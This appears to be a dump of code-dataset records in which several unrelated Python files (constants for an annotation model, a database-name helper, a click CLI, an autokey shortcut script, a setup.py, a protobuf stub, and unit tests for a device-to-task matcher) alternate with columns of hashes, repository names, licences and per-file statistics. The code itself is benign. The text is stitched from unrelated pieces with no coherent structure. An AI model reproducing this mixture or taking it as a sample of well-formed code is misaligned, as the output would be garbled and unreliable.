PRIMARY_KEY = 'Top_comment_id'
GENERIC_TOKEN = '<GENERIC>'
GENERIC_ID = 0
NUM_SUBREDDIT_EMBEDDINGS = 11993
SUBREDDIT_EMBEDDINGS_SIZE = 16
ANNOTATION_ALBERT_TLC_TEXT_HEADER = ALBERT_TOP_COMMENT_TEXT_HEADER
ANNOTATION_ALBERT_POST_TEXT_HEADER = ALBERT_POST_TEXT_HEADER
ANNOTATION_ALBERT_SUBREDDIT_HEADER = ALBERT_SUBREDDIT_HEADER
ANNOTATION_ALBERT_META_FEATURES = ALBERT_META_FEATURES
ANNOTATION_ALBERT_LABEL_HEADER = 'human_label'
BASELINE_ANNOTATION_MODEL_TLC_TEXT_HEADER = 'Top_comment_text'
BASELINE_ANNOTATION_MODEL_LABEL_HEADER = 'human_label'
ANNOTATION_XGBOOST_META_FEATURES = XGBOOST_FEATURES
ANNOTATION_XGBOOST_LABELS_HEADER = 'human_label'
| 534.833333
| 52,331
| 0.837904
| 6,884
| 57,762
| 6.363161
| 0.309123
| 0.493791
| 0.009931
| 0.002466
| 0.082823
| 0.076865
| 0.072482
| 0.067003
| 0.064789
| 0.064789
| 0
| 0.10823
| 0.045203
| 57,762
| 107
| 52,332
| 539.831776
| 0.686026
| 0.002753
| 0
| 0.465116
| 0
| 0
| 0.825602
| 0.749922
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
81014ceeca8ee63f8b4a31652bab9f77788539b5
| 175
|
py
|
Python
|
get_database_name.py
|
gkovacs/invideo-quizzes-analysis-las2016
|
6ec8686ef0d3ffa5e994f8dec41590fea87e9539
|
[
"MIT"
] | null | null | null |
get_database_name.py
|
gkovacs/invideo-quizzes-analysis-las2016
|
6ec8686ef0d3ffa5e994f8dec41590fea87e9539
|
[
"MIT"
] | null | null | null |
get_database_name.py
|
gkovacs/invideo-quizzes-analysis-las2016
|
6ec8686ef0d3ffa5e994f8dec41590fea87e9539
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# md5: 30abdfb918f7a6b87bd580600c506058
# coding: utf-8
databasename = 'ml-004_clickstream_video.sqlite'
def getDatabaseName():
return databasename
| 17.5
| 48
| 0.782857
| 19
| 175
| 7.105263
| 0.947368
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.167742
| 0.114286
| 175
| 9
| 49
| 19.444444
| 0.703226
| 0.411429
| 0
| 0
| 0
| 0
| 0.313131
| 0.313131
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0.333333
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
811211e0be23c6ca38827611c173c89be9f11108
| 291
|
py
|
Python
|
chakin/commands/cmd_util.py
|
dreyes17/python-chado
|
94f77b1db95010ff4629b869ea5849fcc943a18c
|
[
"MIT"
] | 8
|
2017-09-08T15:19:26.000Z
|
2022-02-23T17:28:01.000Z
|
chakin/commands/cmd_util.py
|
dreyes17/python-chado
|
94f77b1db95010ff4629b869ea5849fcc943a18c
|
[
"MIT"
] | 9
|
2018-02-07T18:14:41.000Z
|
2022-03-03T13:14:32.000Z
|
chakin/commands/cmd_util.py
|
dreyes17/python-chado
|
94f77b1db95010ff4629b869ea5849fcc943a18c
|
[
"MIT"
] | 5
|
2018-09-28T08:03:52.000Z
|
2022-03-02T17:51:32.000Z
|
import click
from chakin.commands.util.dbshell import cli as dbshell
from chakin.commands.util.launch_docker_image import cli as launch_docker_image
@click.group()
def cli():
"""
Some chado utilities
"""
pass
cli.add_command(dbshell)
cli.add_command(launch_docker_image)
| 18.1875
| 79
| 0.75945
| 42
| 291
| 5.071429
| 0.47619
| 0.169014
| 0.239437
| 0.206573
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.154639
| 291
| 15
| 80
| 19.4
| 0.865854
| 0.068729
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.125
| true
| 0.125
| 0.375
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
|
0
| 5
|
811cd05486bd1d87a72a4cdbb0c83ea590c1492d
| 60
|
py
|
Python
|
close_tab1.py
|
sandervalstar/autokey-scripts
|
01c0deb574db0b3ea76fc021ae9602a350148a22
|
[
"MIT"
] | 1
|
2019-10-01T07:46:14.000Z
|
2019-10-01T07:46:14.000Z
|
close_tab1.py
|
sandervalstar/autokey-scripts
|
01c0deb574db0b3ea76fc021ae9602a350148a22
|
[
"MIT"
] | null | null | null |
close_tab1.py
|
sandervalstar/autokey-scripts
|
01c0deb574db0b3ea76fc021ae9602a350148a22
|
[
"MIT"
] | null | null | null |
keyboard.send_keys('<ctrl>+w')
keyboard.send_keys('<alt>+w')
| 30
| 30
| 0.716667
| 10
| 60
| 4.1
| 0.6
| 0.585366
| 0.780488
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.016667
| 60
| 2
| 31
| 30
| 0.694915
| 0
| 0
| 0
| 0
| 0
| 0.245902
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
81329d09c1a73cddb6a6607f279e76aa0f6db394
| 22
|
py
|
Python
|
mantraml/__init__.py
|
RJT1990/mantra
|
7db4d272a1625c33eaa681b8c2e75c0aa57c6952
|
[
"Apache-2.0"
] | 330
|
2018-09-04T19:07:51.000Z
|
2021-09-14T11:21:05.000Z
|
mantraml/__init__.py
|
RJT1990/mantra
|
7db4d272a1625c33eaa681b8c2e75c0aa57c6952
|
[
"Apache-2.0"
] | 13
|
2018-09-06T06:08:16.000Z
|
2018-12-01T17:04:38.000Z
|
mantraml/__init__.py
|
RJT1990/mantra
|
7db4d272a1625c33eaa681b8c2e75c0aa57c6952
|
[
"Apache-2.0"
] | 20
|
2018-09-06T11:56:07.000Z
|
2021-12-03T19:48:21.000Z
|
__version__ = "0.966"
| 11
| 21
| 0.681818
| 3
| 22
| 3.666667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.210526
| 0.136364
| 22
| 1
| 22
| 22
| 0.368421
| 0
| 0
| 0
| 0
| 0
| 0.227273
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
d48d0df0ba56a2b2f1faac5135cdc4dcf4e71d38
| 85
|
py
|
Python
|
rpfti_telegram/buian.py
|
orangefrg/rpfti_bot
|
fde9cdd11974f3eee9cf5119a0467a8c74d2a17c
|
[
"Apache-2.0"
] | 1
|
2019-04-15T08:33:05.000Z
|
2019-04-15T08:33:05.000Z
|
rpfti_telegram/buian.py
|
orangefrg/rpfti_bot
|
fde9cdd11974f3eee9cf5119a0467a8c74d2a17c
|
[
"Apache-2.0"
] | 5
|
2018-02-04T11:50:12.000Z
|
2018-11-11T13:50:15.000Z
|
rpfti_telegram/buian.py
|
orangefrg/rpfti_bot
|
fde9cdd11974f3eee9cf5119a0467a8c74d2a17c
|
[
"Apache-2.0"
] | 1
|
2020-06-12T08:08:57.000Z
|
2020-06-12T08:08:57.000Z
|
# A stub for a new feature
from .core_addon import BotCommand, BotAddon, BotCallback
| 28.333333
| 57
| 0.8
| 13
| 85
| 5.153846
| 0.923077
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.152941
| 85
| 3
| 57
| 28.333333
| 0.930556
| 0.282353
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| true
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| null | 0
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| 1
| 0
|
0
| 5
|
d497126559f879a68a53bc493b1ba09233962c75
| 82
|
py
|
Python
|
setup.py
|
gitRigge/getTimestamp
|
b36edfec1104316ae37df1526d5a9ecf4f8a0ad6
|
[
"MIT"
] | null | null | null |
setup.py
|
gitRigge/getTimestamp
|
b36edfec1104316ae37df1526d5a9ecf4f8a0ad6
|
[
"MIT"
] | null | null | null |
setup.py
|
gitRigge/getTimestamp
|
b36edfec1104316ae37df1526d5a9ecf4f8a0ad6
|
[
"MIT"
] | null | null | null |
from distutils.core import setup
import py2exe
setup(console=["getTimestamp.py"])
| 20.5
| 34
| 0.804878
| 11
| 82
| 6
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| 0.013333
| 0.085366
| 82
| 3
| 35
| 27.333333
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| 0.182927
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| null | 0
| 0
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| 0
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| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
d4b1e4ff878a26011095d573bf36ab659f291c14
| 133
|
py
|
Python
|
core/src/trezor/messages/DebugLinkStop.py
|
Kayuii/trezor-crypto
|
6556616681a4e2d7e18817e8692d4f6e041dee01
|
[
"MIT"
] | null | null | null |
core/src/trezor/messages/DebugLinkStop.py
|
Kayuii/trezor-crypto
|
6556616681a4e2d7e18817e8692d4f6e041dee01
|
[
"MIT"
] | 1
|
2019-02-08T00:22:42.000Z
|
2019-02-13T09:41:54.000Z
|
core/src/trezor/messages/DebugLinkStop.py
|
Kayuii/trezor-crypto
|
6556616681a4e2d7e18817e8692d4f6e041dee01
|
[
"MIT"
] | 2
|
2019-02-07T23:57:09.000Z
|
2020-10-21T07:07:27.000Z
|
# Automatically generated by pb2py
# fmt: off
import protobuf as p
class DebugLinkStop(p.MessageType):
MESSAGE_WIRE_TYPE = 103
| 16.625
| 35
| 0.766917
| 18
| 133
| 5.555556
| 0.944444
| 0
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| 0.036364
| 0.172932
| 133
| 7
| 36
| 19
| 0.872727
| 0.308271
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| null | 0
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| 0
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| 0
| 1
| 0
|
0
| 5
|
d4dc4134b3354ba5385072e41ec8d3e86c1b736c
| 20,789
|
py
|
Python
|
tradefed_cluster/command_task_matcher_test.py
|
maksonlee/tradefed_cluster
|
d1153743ce8ddcad752443b23851015630862aea
|
[
"Apache-2.0"
] | null | null | null |
tradefed_cluster/command_task_matcher_test.py
|
maksonlee/tradefed_cluster
|
d1153743ce8ddcad752443b23851015630862aea
|
[
"Apache-2.0"
] | null | null | null |
tradefed_cluster/command_task_matcher_test.py
|
maksonlee/tradefed_cluster
|
d1153743ce8ddcad752443b23851015630862aea
|
[
"Apache-2.0"
] | null | null | null |
# Lint as: python2, python3
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tests for command_task_matcher."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import unittest
import six
from tradefed_cluster import api_messages
from tradefed_cluster import command_task_matcher
from tradefed_cluster import common
from tradefed_cluster import datastore_entities
CLUSTER = 'cluster'
HOSTNAME = 'hostname'
class CommandTaskMatcherTest(unittest.TestCase):
def _CreateDeviceInfo(self, serial, run_target, group_name,
state=common.DeviceState.AVAILABLE,
sim_state=None, battery_level='unknown'):
return api_messages.DeviceInfo(
device_serial=serial,
hostname=HOSTNAME,
run_target=run_target,
state=state,
group_name=group_name,
cluster=CLUSTER,
sim_state=sim_state,
battery_level=battery_level)
def _CreateHostInfo(self, device_infos):
return api_messages.HostInfo(
hostname=HOSTNAME,
cluster=CLUSTER,
device_infos=device_infos)
def _CreateCommandTask(self, task_id, groups):
"""Create CommandTask.
Args:
task_id: task id
groups: a list of lists of datastore_entities.RunTarget objects
Returns:
CommandTask
"""
test_bench = datastore_entities.TestBench(
cluster=CLUSTER,
host=datastore_entities.Host(groups=[]))
for run_targets in groups:
group = datastore_entities.Group(run_targets=run_targets)
test_bench.host.groups.append(group)
return datastore_entities.CommandTask(
task_id=task_id,
test_bench=test_bench)
def testBuildGroupTrees(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1'),
self._CreateDeviceInfo('d2', 'run_target2', 'g1')])
matcher = command_task_matcher.CommandTaskMatcher(host)
# group g1
group = matcher._groups['g1']
self.assertEqual('g1', group.name)
r1 = group.run_targets['run_target1']
r2 = group.run_targets['run_target2']
self.assertIs(group, r1.group)
self.assertIs(group, r2.group)
d1 = r1.devices['d1']
d2 = r2.devices['d2']
self.assertIs(r1, d1.run_target)
self.assertIs(r2, d2.run_target)
def testBuildGroupTrees_allocatedGroup(self):
"""Test group with allocate device will not be used to match."""
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1',
common.DeviceState.ALLOCATED),
self._CreateDeviceInfo('d2', 'run_target2', 'g1')])
matcher = command_task_matcher.CommandTaskMatcher(host)
self.assertIsNone(matcher._groups.get('g1'))
def testBuildGroupTrees_notAvailableDevices(self):
"""Test devices not available will not be used to match."""
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1',
common.DeviceState.GONE),
self._CreateDeviceInfo('d2', 'run_target2', 'g1')])
matcher = command_task_matcher.CommandTaskMatcher(host)
group = matcher._groups['g1']
self.assertEqual(1, len(group.run_targets))
self.assertEqual(1, len(group.run_targets['run_target2'].devices))
def testBuildRunTargetToDevices(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1'),
self._CreateDeviceInfo('d2', 'run_target2', 'g1'),
self._CreateDeviceInfo('d3', 'run_target1', 'g2')])
matcher = command_task_matcher.CommandTaskMatcher(host)
r1_devices = matcher._run_target_index['run_target1']
self.assertSetEqual(
set(['d1', 'd3']), set((s for s, _ in six.iteritems(r1_devices))))
r2_devices = matcher._run_target_index['run_target2']
self.assertSetEqual(
set(['d2']), set((s for s, _ in six.iteritems(r2_devices))))
def testMatchType1Test(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1'),
self._CreateDeviceInfo('d2', 'run_target2', 'g1'),
self._CreateDeviceInfo('d3', 'run_target1', 'g2')])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'1', [[datastore_entities.RunTarget(name='run_target2')]])
matched_devices = matcher.Match(task)
self.assertEqual(1, len(matched_devices))
d = matched_devices[0]
self.assertEqual('d2', d.device_serial)
def testMatchType1Test_withAttribute(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1'),
self._CreateDeviceInfo('d2', 'run_target2', 'g1'),
self._CreateDeviceInfo('d3', 'run_target1', 'g2', sim_state='READY')])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'1',
[[
datastore_entities.RunTarget(
name='run_target1',
device_attributes=[
datastore_entities.Attribute(
name='sim_state', value='READY')]
)
]])
matched_devices = matcher.Match(task)
self.assertEqual(1, len(matched_devices))
d = matched_devices[0]
self.assertEqual('d3', d.device_serial)
self.assertEqual('READY', d.attributes['sim_state'])
def testMatchType1Test_withBatteryLevel(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1'),
self._CreateDeviceInfo('d2', 'run_target1', 'g2', battery_level='20'),
self._CreateDeviceInfo('d3', 'run_target1', 'g3', battery_level='80')])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'1',
[[
datastore_entities.RunTarget(
name='run_target1',
device_attributes=[
datastore_entities.Attribute(
name='battery_level', value='60', operator='>')]
)
]])
matched_devices = matcher.Match(task)
self.assertEqual(1, len(matched_devices))
d = matched_devices[0]
self.assertEqual('d3', d.device_serial)
self.assertEqual('80', d.attributes['battery_level'])
def testMatchType1Test_withDeviceSerial(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1'),
self._CreateDeviceInfo('d2', 'run_target2', 'g1'),
self._CreateDeviceInfo('d3', 'run_target1', 'g2')])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'1',
[[
datastore_entities.RunTarget(
name='run_target1',
device_attributes=[
datastore_entities.Attribute(
name='device_serial', value='d3')]
)
]])
matched_devices = matcher.Match(task)
self.assertEqual(1, len(matched_devices))
d = matched_devices[0]
self.assertEqual('d3', d.device_serial)
def testMatchType2Test(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1'),
self._CreateDeviceInfo('d2', 'run_target2', 'g1'),
self._CreateDeviceInfo('d3', 'run_target1', 'g2')])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'1',
[[datastore_entities.RunTarget(name='run_target1'),
datastore_entities.RunTarget(name='run_target2')]])
matched_devices = matcher.Match(task)
self.assertEqual(2, len(matched_devices))
d1 = matched_devices[0]
d2 = matched_devices[1]
self.assertEqual(
set(['d1', 'd2']),
set([d1.device_serial, d2.device_serial]))
def testMatchType2Test_noMatch(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1'),
self._CreateDeviceInfo('d2', 'run_target2', 'g2')])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'1',
[[datastore_entities.RunTarget(name='run_target1'),
datastore_entities.RunTarget(name='run_target2')]])
matched_devices = matcher.Match(task)
self.assertIsNone(matched_devices)
def _CreateRunTargetRequirement(self, name, attributes=()):
run_target_requirement = datastore_entities.RunTarget(
name=name, device_attributes=[])
for attribute in attributes or []:
run_target_requirement.device_attributes.append(
datastore_entities.Attribute(
name=attribute[0], value=attribute[1]))
return run_target_requirement
def testMatchType2Test_withDeviceAttribute(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'rt1', 'g1', sim_state='READY'),
self._CreateDeviceInfo('d2', 'rt1', 'g1', sim_state='NONE'),
self._CreateDeviceInfo('d3', 'rt1', 'g2', sim_state='READY'),
self._CreateDeviceInfo('d4', 'rt1', 'g2', sim_state='READY'),
])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'1',
[[self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')]),
self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')])]])
matched_devices = matcher.Match(task)
self.assertEqual(2, len(matched_devices))
d1 = matched_devices[0]
d2 = matched_devices[1]
self.assertEqual(
set(['d3', 'd4']),
set([d1.device_serial, d2.device_serial]))
def testMatchType2Test_withDeviceAttribute_noMatch(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'rt1', 'g1', sim_state='READY'),
self._CreateDeviceInfo('d2', 'rt1', 'g1', sim_state='NONE'),
self._CreateDeviceInfo('d3', 'rt1', 'g2', sim_state='READY'),
self._CreateDeviceInfo('d4', 'rt1', 'g2', sim_state='NONE'),
])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'1',
[[self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')]),
self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')])]])
matched_devices = matcher.Match(task)
self.assertIsNone(matched_devices)
def testMatchType3Test(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1'),
self._CreateDeviceInfo('d2', 'run_target2', 'g1'),
self._CreateDeviceInfo('d3', 'run_target3', 'g2'),
self._CreateDeviceInfo('d4', 'run_target4', 'g2')])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'1',
[[datastore_entities.RunTarget(name='run_target1')],
[datastore_entities.RunTarget(name='run_target3')]])
matched_devices = matcher.Match(task)
self.assertEqual(2, len(matched_devices))
d1 = matched_devices[0]
d2 = matched_devices[1]
self.assertEqual(
set(['d1', 'd3']),
set([d1.device_serial, d2.device_serial]))
def testMatchType3Test_exclusive(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1'),
self._CreateDeviceInfo('d2', 'run_target2', 'g1'),
self._CreateDeviceInfo('d3', 'run_target3', 'g2'),
self._CreateDeviceInfo('d4', 'run_target4', 'g2')])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'1',
[[datastore_entities.RunTarget(name='run_target1')],
[datastore_entities.RunTarget(name='run_target3')]])
matched_devices = matcher.Match(task)
matcher.RemoveDeviceGroups(matched_devices)
self.assertEqual(2, len(matched_devices))
d1 = matched_devices[0]
d2 = matched_devices[1]
self.assertEqual(
set(['d1', 'd3']),
set([d1.device_serial, d2.device_serial]))
# task2 can not be matched because g1 is already in use.
task2 = self._CreateCommandTask(
'1', [[datastore_entities.RunTarget(name='run_target2')]])
matched_devices = matcher.Match(task2)
self.assertIsNone(matched_devices)
def testMatchType3Test_noMatch(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1'),
self._CreateDeviceInfo('d2', 'run_target2', 'g1'),
self._CreateDeviceInfo('d3', 'run_target3', 'g2'),
self._CreateDeviceInfo('d4', 'run_target4', 'g2')])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'1',
[[datastore_entities.RunTarget(name='run_target1')],
[datastore_entities.RunTarget(name='run_target2')]])
matched_devices = matcher.Match(task)
self.assertIsNone(matched_devices)
def testMatchType3Test_withDeviceAttribute(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'rt1', 'g1', sim_state='NONE'),
self._CreateDeviceInfo('d2', 'rt1', 'g1', sim_state='READY'),
self._CreateDeviceInfo('d3', 'rt1', 'g2', sim_state='NONE'),
self._CreateDeviceInfo('d4', 'rt1', 'g2', sim_state='READY')])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'1',
[[self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')])],
[self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')])]])
matched_devices = matcher.Match(task)
self.assertEqual(2, len(matched_devices))
d1 = matched_devices[0]
d2 = matched_devices[1]
self.assertEqual(
set(['d2', 'd4']),
set([d1.device_serial, d2.device_serial]))
def testMatchType3Test_withDeviceAttribute_noMatch(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'rt1', 'g1', sim_state='NONE'),
self._CreateDeviceInfo('d2', 'rt1', 'g1', sim_state='NONE'),
self._CreateDeviceInfo('d3', 'rt1', 'g2', sim_state='NONE'),
self._CreateDeviceInfo('d4', 'rt1', 'g2', sim_state='READY')])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'1',
[[self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')])],
[self._CreateRunTargetRequirement('rt1', [('sim_state', 'READY')])]])
matched_devices = matcher.Match(task)
self.assertIsNone(matched_devices)
def testRemoveDeviceGroups(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1'),
self._CreateDeviceInfo('d2', 'run_target2', 'g1'),
self._CreateDeviceInfo('d3', 'run_target1', 'g2')])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'2', [[datastore_entities.RunTarget(name='run_target2')]])
matched_devices = matcher.Match(task)
self.assertEqual(1, len(matched_devices))
d = matched_devices[0]
matcher.RemoveDeviceGroups([d])
self.assertIsNone(matcher._groups.get('g1', None))
self.assertIsNone(
matcher._run_target_index['run_target2'].get('d2', None))
# d1 is in the same group as d2, will be removed as well
r1_devices = matcher._run_target_index['run_target1']
self.assertSetEqual(
set(['d3']), set((s for s, _ in six.iteritems(r1_devices))))
def testRemoveDeviceGroups_multipleDevices(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1'),
self._CreateDeviceInfo('d2', 'run_target2', 'g1'),
self._CreateDeviceInfo('d3', 'run_target3', 'g1'),
self._CreateDeviceInfo('d4', 'run_target1', 'g2')])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'1',
[[datastore_entities.RunTarget(name='run_target1'),
datastore_entities.RunTarget(name='run_target2')]])
matched_devices = matcher.Match(task)
self.assertEqual(2, len(matched_devices))
matcher.RemoveDeviceGroups(matched_devices)
self.assertIsNone(matcher._groups.get('g1', None))
self.assertIsNone(
matcher._run_target_index['run_target3'].get('d3', None))
r1_devices = matcher._run_target_index['run_target1']
self.assertSetEqual(
set(['d4']), set((s for s, _ in six.iteritems(r1_devices))))
def testRemoveDeviceGroups_multipleGroups(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1'),
self._CreateDeviceInfo('d2', 'run_target2', 'g1'),
self._CreateDeviceInfo('d3', 'run_target3', 'g2'),
self._CreateDeviceInfo('d4', 'run_target4', 'g2')])
matcher = command_task_matcher.CommandTaskMatcher(host)
task = self._CreateCommandTask(
'1',
[[datastore_entities.RunTarget(name='run_target1')],
[datastore_entities.RunTarget(name='run_target3')]])
matched_devices = matcher.Match(task)
self.assertEqual(2, len(matched_devices))
matcher.RemoveDeviceGroups(matched_devices)
self.assertIsNone(matcher._groups.get('g1', None))
self.assertIsNone(matcher._groups.get('g2', None))
for devices in six.itervalues(matcher._run_target_index):
self.assertEqual(0, len(devices))
def testGetRunTargets(self):
host = self._CreateHostInfo(
[self._CreateDeviceInfo('d1', 'run_target1', 'g1'),
self._CreateDeviceInfo('d2', 'run_target2', 'g1'),
self._CreateDeviceInfo('d3', 'run_target1', 'g2')])
matcher = command_task_matcher.CommandTaskMatcher(host)
run_targets = matcher.GetRunTargets()
self.assertSetEqual(
set(['run_target1', 'run_target2']),
set(run_targets))
def testMatchDeviceAttribute(self):
device_attrs = {'sim_state': 'READY', 'battery_level': '75'}
required_attr = datastore_entities.Attribute(
name='sim_state', value='READY', operator='=')
self.assertTrue(
command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs))
required_attr = datastore_entities.Attribute(
name='sim_state', value='MISSING', operator='=')
self.assertFalse(
command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs))
def testMatchDeviceAttribute_number(self):
device_attrs = {'sim_state': 'READY', 'battery_level': '75'}
required_attr = datastore_entities.Attribute(
name='battery_level', value='60', operator='>')
self.assertTrue(
command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs))
required_attr = datastore_entities.Attribute(
name='battery_level', value='80', operator='>')
self.assertFalse(
command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs))
def testMatchDeviceAttribute_noOperator(self):
device_attrs = {'sim_state': 'READY', 'battery_level': '75'}
required_attr = datastore_entities.Attribute(
name='sim_state', value='READY')
self.assertTrue(
command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs))
def testMatchDeviceAttribute_unknownNumberAttribute(self):
device_attrs = {'sim_state': 'READY', 'battery_level': 'unknown'}
required_attr = datastore_entities.Attribute(
name='battery_level', value='60', operator='>')
self.assertFalse(
command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs))
def testMatchDeviceAttribute_noAttribute(self):
device_attrs = {'sim_state': 'READY'}
required_attr = datastore_entities.Attribute(
name='battery_level', value='60', operator='>')
self.assertFalse(
command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs))
def testMatchDeviceAttribute_nonNumberCompare(self):
device_attrs = {'attr1': 'abcd', 'battery_level': '75'}
required_attr = datastore_entities.Attribute(
name='attr1', value='ab', operator='>')
self.assertTrue(
command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs))
required_attr = datastore_entities.Attribute(
name='attr1', value='abcde', operator='>')
self.assertFalse(
command_task_matcher._MatchDeviceAttribute(required_attr, device_attrs))
if __name__ == '__main__':
unittest.main()
| 41.578
| 80
| 0.672615
| 2,206
| 20,789
| 6.067543
| 0.100181
| 0.101606
| 0.043033
| 0.040792
| 0.766754
| 0.757863
| 0.742324
| 0.735226
| 0.729399
| 0.707434
| 0
| 0.02507
| 0.192217
| 20,789
| 499
| 81
| 41.661323
| 0.771988
| 0.046852
| 0
| 0.690141
| 0
| 0
| 0.097251
| 0
| 0
| 0
| 0
| 0
| 0.133803
| 1
| 0.07277
| false
| 0
| 0.021127
| 0.004695
| 0.105634
| 0.002347
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
